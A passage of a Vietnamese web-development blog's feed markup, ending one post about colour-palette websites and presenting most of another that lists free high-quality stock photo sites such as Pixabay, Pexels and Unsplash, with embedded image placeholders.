/static/4be5b40f72873e203323755c658eaed0/2573e/trang-web-tao-palette-mau-cuc-tot-culrs.png 1380w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <h2 id="kết-luận" style="position:relative;"><a href="#k%E1%BA%BFt-lu%E1%BA%ADn" aria-label="kết luận permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Kết luận</h2> <p>Trên đây là 10 trang web tạo palette màu cực tốt dành cho bạn.</p> <p>Bạn thấy thích trang web nào nhất?</p> <p>Ngoài những trang web trên thì bạn có gợi ý trang nào khác không?</p> <p>Chia sẻ với mình trong phần bình luận nhé!</p>[email protected]<![CDATA[10 trang web tải ảnh miễn phí chất lượng cao]]><![CDATA[Để có một bài viết tốt thì nội dung thôi là chưa đủ. Bạn nên sử dụng thêm hình ảnh để minh họa phù hợp. Tuy nhiên, nếu bạn tải ảnh trực tiếp từ Google thì rất có thể bạn sẽ bị dính…]]>https://completejavascript.com/web-tai-anh-mien-phi-chat-luong-cao/https://completejavascript.com/web-tai-anh-mien-phi-chat-luong-cao/<![CDATA[Resources]]>Sun, 10 Oct 2021 20:00:00 GMT<p>Để có một bài viết tốt thì nội dung thôi là chưa đủ. Bạn nên sử dụng thêm hình ảnh để minh họa phù hợp. Tuy nhiên, nếu bạn tải ảnh trực tiếp từ Google thì rất có thể bạn sẽ bị dính lỗi bản quyền hình ảnh.</p> <p>Vì vậy, mình tổng hợp lại 10 trang web tải ảnh miễn phí chất lượng cao. Bạn thoải mái sử dụng mà không lo vi phạm bản quyền nhé!</p> <h2 id="tại-sao-nên-tải-ảnh-miễn-phí-từ-các-kho-ảnh-sau-đây" style="position:relative;"><a href="#t%E1%BA%A1i-sao-n%C3%AAn-t%E1%BA%A3i-%E1%BA%A3nh-mi%E1%BB%85n-ph%C3%AD-t%E1%BB%AB-c%C3%A1c-kho-%E1%BA%A3nh-sau-%C4%91%C3%A2y" aria-label="tại sao nên tải ảnh miễn phí từ các kho ảnh sau đây permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tại sao nên tải ảnh miễn phí từ các kho ảnh sau đây?</h2> <p>Ảnh trên các trang này đa phần là ảnh HD, Full HD, 2K và 4K. Vì chúng thường được tạo bởi các nhiếp ảnh gia chuyên nghiệp.</p> <p>Chủ đề ảnh đa dạng, có chức năng tìm kiếm giúp bạn dễ dàng tìm thấy ảnh theo ý muốn.</p> <p>Phần lớn các ảnh có bản quyền CC0 - nghĩa là bạn toàn quyền sử dụng, không cần trích dẫn nguồn. Tuy nhiên, một số hình ảnh có yêu cầu riêng, bạn chú ý xem kỹ trước khi tải về.</p> <h2 id="danh-sách-trang-web-tải-ảnh-miễn-phí" style="position:relative;"><a href="#danh-s%C3%A1ch-trang-web-t%E1%BA%A3i-%E1%BA%A3nh-mi%E1%BB%85n-ph%C3%AD" aria-label="danh sách trang web tải ảnh miễn phí permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Danh sách trang web tải ảnh miễn phí</h2> <p>Dưới đây là tổng hợp danh sách 10 trang web tải ảnh miễn phí chất lượng cao.</p> <h3 id="pixabay-photos" style="position:relative;"><a href="#pixabay-photos" aria-label="pixabay photos permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a><a href="https://pixabay.com/photos/">Pixabay Photos</a></h3> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 70.30303030303031%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAOCAIAAACgpqunAAAACXBIWXMAAAsTAAALEwEAmpwYAAADWUlEQVQoz2MQ4eMV4OYSFBZS1dSQlpXh5eNTkJFODXDvbKjt6OgK8/VoK0jtryuPDPIXFhQQEhQQExXh4uLk4mDn4+JgEBXgFeXn5RXg1zXQt7OzMzU1s7OxdbI09fd0ryotmdbV0liQtmTRktWr1hTk5ZubmWmqqbKzMPFysgvwcDFICPKL8vEwMjMxs7OysrGxMLGwMLOwsLFzs7MJcHFIC/EHeLhOmjBp0sTJUyZNLSoosrexkZeS5OfiEBPgZRDh4XK0Mt+7Z++xY0cPHTx46NBBCDhy5PCJ48cOHzp04fz5ly9fPXv2/PXr1z++//jy5euHj58666v52VkZJAT4zA10J0yYOG0qCEybOm3y5ClTp06dM2vm3Fkz58yYvm7VyksXLly9cnXn5g2T+/sm9HTPmj7dz8VRhJuTQVZMWFyAlwEDsDMxygjx+Ls4FOflT5o4derUGQ3V1WoKCqwMDByMDAKc7DIiggwqMhLyEqLiQgJCAnzc3Ny8PDy8vLycnJxuNmY1aVET60v66svaaiom9nR1trSEBYUoSElKi4lICAtKCQsxCHOyCHKxMTMwsDKBLGQEW8vMwOBhZVKZGJLiaZHqa1edFFyeEFgSH+Tr7MDLxc7JzMDNysjBzMDQUF2dn5WTnpqenJSUlpqempqRnpmbkZHb1dK4bN7s/va2GRP7li9aOGvShMWzpk7t7a4vraktqq4trm4qr2eYOmWBkoyRg0lggne5lqqdoZ6Pu2d2eFi+r18IN6+QmIKBsLKFoIaTuIoll5C8q0tgX9K8IKtAfyuvhvhehvLSBlYG0ZrItjlVC3L8O0xkA4y03LUN7fQNDBkYGJhYeBlYBBnYJZmY2BgYGKwMbJ11/GpjfKvDPKx0nRkqy5p5WPVbkzvXdVUuqtpkKe8qIa6uoW2RVTw/MWNpTeO2rskHOibvSsyaIKdmYapl3BU8Y1l5TUdkTKlnG0Nr/Ux1aa/8kNa2uP5o2zRRXmVebgUVZaO+6Td6pz1fuOjZ+o1vt+z4sm7r9ylr3xQ3bzhWejnLNyPAxW9a9iKGyT2LzDWC7HUitSSteNkleLml+TjkFeX0W9qONjZf7Wo8N6Fk/4Ts7RPyd3W0XKyd92Rm76zawtKWitKpnfUAEU8Xygb4tFIAAAAASUVORK5CYII='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Pixabay Photos" title="Pixabay Photos" src="/static/bfc8daaa7b7bf859743d9100100eec7d/7c811/web-tai-anh-mien-phi-chat-luong-cao-pixabay.png" srcset="/static/bfc8daaa7b7bf859743d9100100eec7d/103f2/web-tai-anh-mien-phi-chat-luong-cao-pixabay.png 165w, /static/bfc8daaa7b7bf859743d9100100eec7d/748ba/web-tai-anh-mien-phi-chat-luong-cao-pixabay.png 330w, /static/bfc8daaa7b7bf859743d9100100eec7d/7c811/web-tai-anh-mien-phi-chat-luong-cao-pixabay.png 660w, /static/bfc8daaa7b7bf859743d9100100eec7d/d28e0/web-tai-anh-mien-phi-chat-luong-cao-pixabay.png 990w, /static/bfc8daaa7b7bf859743d9100100eec7d/3e0bb/web-tai-anh-mien-phi-chat-luong-cao-pixabay.png 1213w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <h3 id="pexels" style="position:relative;"><a href="#pexels" aria-label="pexels permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a><a href="https://www.pexels.com/">Pexels</a></h3> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 72.12121212121212%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAOCAIAAACgpqunAAAACXBIWXMAAAsTAAALEwEAmpwYAAADYUlEQVQozwFWA6n8ACBhWjBFST1ASbG0t8DCxMLEx8PEyMTGycbIzMbHy8XHyk1TWykxOi0zPC40PTA4QCswOR8yORl8bBpgWADM1NXNz9LLzM7j5ebk5ebl5efn5+nT1NW7vLy/wMHHyMmnqarAwsXOz9PJyszKzM/Jy83KzM/J2NfG0dAA9PXx+Pr3/////fr6////+vv7////8/Pz7O3s8vPz5ebl+vr7+fj0+vr3/////v7+////9/b1+/n4////AN3j2Nnb1Ozn6OLc2uzo5uLf3ePd3eDh4OPj4+3t7dvc2/Ly8uHi2drb0u3v7uPl3uzt6tfZ1tLT0fP09ADRxbukkniwpZDLzLnV5N2upZuAY1uXjIhcOjahmJnBv657fWKNlnmprpWxsplyfWhyemVjb1dcXE7BwLsAtqaceF5HvLuh097I1+3kytnNxdDDvsi/d2hifWRlfIBpWVs6eX5ahY1mk5dzbnRTWV1DRUgwPjoourazAMrCtZ2SesXJstPfypSAc494bNLfzMzVwJmMdG5JRnt6cFZYN21xTX5+X2twVWdnUlxbQlRTPEhEMLmzsAC8q56Telfa2K3f47twU0lxU0jf472+s49qPCF0UEp1b2ZISyRoZUOahHl7d1x0bFNaVTlYVT1ORTW2sK0At56Md0YdkmpBjGU/RAwCQQgAhFo0Yi0YKAAAYD8/tLCkmpWJjnxsqIh1s6+NlZJkcG8+WV0tRUQfs66pALWgoGU3OXhJRoVURolbTodcUIVXSIFSS3FFQ5Z4dszEzM7Czc29wM+6seng5uXd4eDY1dHLxb26sNzY1wClm5ZMMiVkRzdaQDRoRDJyRi9RNy5fQDJbOCd/bWTz8vLd2tm1trrMzM/s7Ozg4uPQ0tSztLekpqvX1tcAm4d9QREAXisNcTsVmFgnsWUqikkbeDwTRhAAbVBC/P36zM3JOUJDfYGA5unrub2+bnN0ODw5NzUto6enAMmoj6JcILl1OeSTRf/Nbv/beeKVSLNyN35BE5RrUPz8+trZ1ExTVImNju7x89HT1oSHiFdeYWRiXqqtrQCvmIZoMgiQVSWxZSfTmEbfslbPezCvZyyTTxamd1T8/Pvg3tlOVliKjo/09fjX2tyKjY5ibnNbbHKqr7BBnfTTyEuzYgAAAABJRU5ErkJggg=='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Pexels" title="Pexels" src="/static/5c667bd926504ae5463a35a17997a922/7c811/web-tai-anh-mien-phi-chat-luong-cao-pexels.png" srcset="/static/5c667bd926504ae5463a35a17997a922/103f2/web-tai-anh-mien-phi-chat-luong-cao-pexels.png 165w, /static/5c667bd926504ae5463a35a17997a922/748ba/web-tai-anh-mien-phi-chat-luong-cao-pexels.png 330w, /static/5c667bd926504ae5463a35a17997a922/7c811/web-tai-anh-mien-phi-chat-luong-cao-pexels.png 660w, /static/5c667bd926504ae5463a35a17997a922/d28e0/web-tai-anh-mien-phi-chat-luong-cao-pexels.png 990w, /static/5c667bd926504ae5463a35a17997a922/e0796/web-tai-anh-mien-phi-chat-luong-cao-pexels.png 1263w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <h3 id="unsplash" style="position:relative;"><a href="#unsplash" aria-label="unsplash permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a><a href="https://unsplash.com/">Unsplash</a></h3> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 59.3939393939394%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAIAAADtbgqsAAAACXBIWXMAAAsTAAALEwEAmpwYAAAC50lEQVQozwHcAiP9AM/Qz+3u7enq6enq6enp6ejp6PDw8PT09PPz8v39/fv6+/j28fn5+fj4+P7+/vv7+/r5+fX19ff3+Pn5+QD59vf//v/////////////////5+fn09fX09PT39/jy8/Pz8/Px8fH7+/v///7//v3///////////////8Ai6adfJ+UgqabgKOZgaOYe5+UxtPQ3+Lj5ufo09jcztLVw8fKzs/RusbJT21zVmpxU2RrV2hvUW1ydoyQACBUQQA+IgFNLgBILANCKAA1HJqtptnM0t/Y2ZSSlnJ1fVJcZHl7f5qtsAAvOAAaJQclLggqNAAmLi5PVgAnalYAUjgGYEMDYUQGWUEATjWfta7Nu7/IsJ62npB8fYUnMDZwb3KltrghTVQSQkp7m5xCcXUANT02WWEAI3FbAFk6BWhICm1MBGJFAFM5jaSYck44gFIrvZJ1vaefqaGmxrm6kKCjACMsIlherMG/QGZpABslM0lQACSBZgBiQgRwTg1zUAdpSgBdQoKdkn1lXZN5bZBrVZJ/dYaFiK6lpYebngAxORlOVay9uy9SVwAaJDJOVgAkjW8Aa0kDbksMcU4Jb1EAZEeWtq3WxsDMycqfn6Gem5Z9gH7HvLObs7MARU0mXGKKoqElQUgAFiEyUVgAJZJxAHNQBW5NFW1MD29QAGdKd5WKb1Aykn1kPDgvqpR9TkU3e2lUmKyoLGZvbY6SW3p+ASIsABYgNUlRACePbgBwTQZvTgxpSg5sTABnSIKekJN9bK6Zg6SQfJyGcEs9LFdHNqO1tGaQlGyOkTBRWAEjLAAcJzRJUQAkimoAaEUCY0UAVzwFY0UAZEOVqprFqJHBs6OmjnSvmoShjHXFp4qmsa5qjpJYfYAMKTMAERsABhIuO0UAKIBkAGJCBVg/BE85BlQ8AFs+j5+SlX9s6ujm4t/a7Ovp1cu/y6yKtLiydpWcgJaaY3R7XGxzVmlveoeNRwlsFyaFfRwAAAAASUVORK5CYII='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Unsplash" title="Unsplash" src="/static/694a56504a7906ccf042fb92fc1ae3fe/7c811/web-tai-anh-mien-phi-chat-luong-cao-unsplash.png" srcset="/static/694a56504a7906ccf042fb92fc1ae3fe/103f2/web-tai-anh-mien-phi-chat-luong-cao-unsplash.png 165w, /static/694a56504a7906ccf042fb92fc1ae3fe/748ba/web-tai-anh-mien-phi-chat-luong-cao-unsplash.png 330w, /static/694a56504a7906ccf042fb92fc1ae3fe/7c811/web-tai-anh-mien-phi-chat-luong-cao-unsplash.png 660w, /static/694a56504a7906ccf042fb92fc1ae3fe/d28e0/web-tai-anh-mien-phi-chat-luong-cao-unsplash.png 990w, /static/694a56504a7906ccf042fb92fc1ae3fe/e0796/web-tai-anh-mien-phi-chat-luong-cao-unsplash.png 1263w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <h3 id="gratisography-photos" style="position:relative;"><a href="#gratisography-photos" aria-label="gratisography photos permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a><a href="https://gratisography.com/photos/photos/">Gratisography Photos</a></h3> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 65.45454545454545%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAIAAAAmMtkJAAAACXBIWXMAAAsTAAALEwEAmpwYAAADJElEQVQozwEZA+b8AP8q/P51+Pth+vtg+flj+P1B/f8V//8p//9K//8r//0r//42//0g/v8U//2H/vm1+P65/v+z//+X//8n/wDpTevgZOLgXeXfXeTmZer3Y/b3T/X0WPPwZPHxVfP/Xf3+W/j+Xvz0TfL4hvXaftrZetj2k+jreN/3VPAAgpeYU2VyYHR8cIOJlqKky9HI6ezW09jJs7q0vcvEsripYWhcmZWCbnZta2FiRztHPzhBcmFgnYZ56uTMAI6aol9yfG6AiJKcn6uxs8jKyPbr3dPOyaywsMrNzVFXXBYhJTc8R11cYnhycaCYkKWfmnx7aKaob+7gywCwtrl5h4+DkJenqqufrLbFyszt49iwtbaaoqW0u790eYI9Q0eCf36vpqHAs6qnnJp3cHNvfFNFWTuRkZEA2tfUl56ilZ6joq63orHA3NjR5t7Uq7Czi5acrre7nZedcmtrmI+Lo5iVfXZ6VlVhTEtcREZZNzpSeHqJAOXg26+0taSvtpWqvq67xdnUzcPCv6arrYCMk7W7vp6YmmRfaGJeaVJRYE5NXVNSYU9OYExMXEI/SoKAhgDl4NrGyMifssOVrMHNzs/T0Mq+wcKgqrCPm6PCyMx1d4RAQ1VTVGdSUmNUVmVUVWRaVl9gWmBKRlB/f4cA9vT08vHw6Ort4eDh7+3r8OzqzcW/xL+4ubawwLy2t7CrraeirqmkzsrR18bQ3s3S3MvMtLCzs7q/1NffAPj19vz6+vfw7aCOfNjMw/Ts6H1iS2xSOF1FLE85IE45IEAsE1NBJs7Dzemwxv/P27SQjpd0Zb3BrdLr4wD39fX8+/rn4+Gah2zn18jl3NmaeGVzZVQ3Lh0jIRVALRU+Jg5YSTfLws/ts8n/zNe3kYbRn4vOxrrN4OEA/v3+////6uLesIxn2r+rgGldgWZUk4h7GyEWODQnm25RUTUbX1JBx77PyI+mu5+is392wYR44LDC88ncALGvnLe1nufi342EbtKznY9sTm1ZR5KGeSwuIEU8NpltYGVEK3JjVtnV456bqKmurOzGydG5uNnGzv/d6P2g5njO6NkIAAAAAElFTkSuQmCC'); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Gratisography Photos" title="Gratisography Photos" src="/static/24656ff0faa5f46cd95e3f5e236a3159/7c811/web-tai-anh-mien-phi-chat-luong-cao-gratisography.png" srcset="/static/24656ff0faa5f46cd95e3f5e236a3159/103f2/web-tai-anh-mien-phi-chat-luong-cao-gratisography.png 165w, /static/24656ff0faa5f46cd95e3f5e236a3159/748ba/web-tai-anh-mien-phi-chat-luong-cao-gratisography.png 330w, /static/24656ff0faa5f46cd95e3f5e236a3159/7c811/web-tai-anh-mien-phi-chat-luong-cao-gratisography.png 660w, /static/24656ff0faa5f46cd95e3f5e236a3159/d28e0/web-tai-anh-mien-phi-chat-luong-cao-gratisography.png 990w, /static/24656ff0faa5f46cd95e3f5e236a3159/5745f/web-tai-anh-mien-phi-chat-luong-cao-gratisography.png 1258w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <h3 id="burst" style="position:relative;"><a href="#burst" aria-label="burst permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a><a href="https://burst.shopify.com/">Burst</a></h3> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 60.60606060606061%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAIAAADtbgqsAAAACXBIWXMAAAsTAAALEwEAmpwYAAACrklEQVQoz0WLzU/TYACHe/GAlLG179vSvnu7duu+t27t5vqxdt0GYSAfOmYIoISPIYISkMCCIXyqCRrPhoMmnryiBgyg/gkejAcTPHjyDzHowSe/5/JLHiKdTrll17TMYtGybTufzzmO7bolTVMdxzFNI5fTururlmXati0ImKJ8AND/RsTjMcMwCoVrhqGXHFvNZgxDNwxd01TTNHS9kM1kNE1VlHQmoyA/omnqf0wB2kdRHo+HJNt9Pq/X5wUQMAxgGAgAuBRAsoP0eDo8HpKmqcuf/gugCFkUKgV1fLSx3mrVB/pGB2tqOgEZKMkhMYBdq5CUuADmIAQsy3i9nR1kO8NCjBHiEaHG5K25iZcH+58/nb56vr89PzlUtpYWmnpOuVXJby7fDfmhJnM8C9qutmWzytL9haCEZVmSRJEQMRobvr4yO7ncnDp89qQ1c9vKJk+O3r7Ybd2sGHurC3U3X8uI4aCws7P1/sO745PjR+urkVAwgP0ExrjPLdYcMyqHJgZ7R8pWPBz88vHo968fs43eWoIZLaWGdDkY8J+dn11cXJyfn+5ub4oYYywQXBcrBwOI72JYyECQigQjIXF4sK/ZnK5VnZgAJSkQD0ttZIeWz0/PzjhuiQZA8CNFUQiWBQgxQoC3Uvx0vbdR0cIS9CPg9ZIc6KzKMBqVdVOfulGNJmJXfDThhR7IDFeLaw/mCIaBPM8KuKtui09XqrO1ZEJi4zFBlBBGXCnKK6n44vT49+PXrfWHmWKJFMPtFOgt5oZKOYJlIcezCHWNlOXHSwONYkgJcRHZ70fQcsv36j3jKtqYu/P12883e8tb/YmZPkOMxs10qNFjXsY8z2KBy0b4mm1YyWBSYnjEAgjyamqjP7VWluYrycON5sGYvZjxbTXsSrUaQb5iNvoHqoed9GdlBk8AAAAASUVORK5CYII='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Burst" title="Burst" src="/static/6924dcf5c8d6f87ca56266c321ed58be/7c811/web-tai-anh-mien-phi-chat-luong-cao-burst.png" srcset="/static/6924dcf5c8d6f87ca56266c321ed58be/103f2/web-tai-anh-mien-phi-chat-luong-cao-burst.png 165w, /static/6924dcf5c8d6f87ca56266c321ed58be/748ba/web-tai-anh-mien-phi-chat-luong-cao-burst.png 330w, /static/6924dcf5c8d6f87ca56266c321ed58be/7c811/web-tai-anh-mien-phi-chat-luong-cao-burst.png 660w, /static/6924dcf5c8d6f87ca56266c321ed58be/d28e0/web-tai-anh-mien-phi-chat-luong-cao-burst.png 990w, /static/6924dcf5c8d6f87ca56266c321ed58be/51584/web-tai-anh-mien-phi-chat-luong-cao-burst.png 1292w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <h3 id="glyphs-photos" style="position:relative;"><a href="#glyphs-photos" aria-label="glyphs photos permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a><a href="https://glyphs.co/photos">Glyphs Photos</a></h3> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 59.3939393939394%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAIAAADtbgqsAAAACXBIWXMAAAsTAAALEwEAmpwYAAAC50lEQVQozwHcAiP9ADw7QzQ2PiImLhsiKCEqNCErNiErNSAqNCAqMyYvOSQtNyYvOC40OiMqMSMqMCUsMiIpLykwNi40OikxNgC8wsG/x8S+xsSytrWRh3iOf2uUhG+Wh3OXiXaVh3WFeWZ9dGV/gIGGh4qUlZeTlJeGiIp8fYBmZ2ldX2EA7Mvj4rLU5rXa7dXjq41hr39JgWpUOCwnNikkeGFLonhFhmpEbWpph4eIsrCwtLKzlpaVbm1uPDo7LS0tAOjO4uG61uW92+jV35yAUK6AR3ZkVhEQGw8MFWdWS6yFWZp+WWRiYXx9fri4uK+ur46NjmRkZTw7PDQzNAD4/Prz+vT////z8Oy2n4PQwLCwpJl4eX15eXuRh4B7YUWHbERRT05fXmCDg4M4Nzg0MzRKSUsqKSoqKisA9/b39fX1+/797urlsaaYs6eaxbmswsPGwsLEwLSlg2pZeGE/Pzw4LCwuJyYnIB4gOzo7NzU3IiEiKCgpAPX19fr4+fnf+O/r7J2KcKGCYK+Yg9jFt9C9rpKDb2dUP3RjTTk3Ng4NDyEfIUpJSk5NTkVERSwrLDAvMACqqalgYGGnu732+PrPrKGVaFWIZGXiv8N7Z2o6NTgrKSs/PEA7Ozw6OTo3NjdJSUpfXl9QUFE4NzgyMjMAurm7iYiI3d/F+vn306eSflJCNyMkZVFUpoSKcGVrJSMlNDEyNjU2NDM0Q0FCRUVFSEZHOTg5JCMjKikqAPv7/P////39//Tx8bOEb3tPP0IqJY9iZuyps66MhCUhHyssLqeqr6qts6+yt7i6vrW4vLW3vKWnr6mssgDx8fHr6+z6+/ry8PCPZFNrOyo0Ih9vTVDGo6mmfXJZR01VVmPf4+zt8/3r8Prp7/ji6PPj6vTj6fTh5fAA8fHx7u7v+/v78vP1nXtxckEwWEA/sJeh0sPTYVddMy05Tk5Y0NXd4OXv1NvkvMHNsrjDs7jDzdLd1NnjYvFsOLzZhYkAAAAASUVORK5CY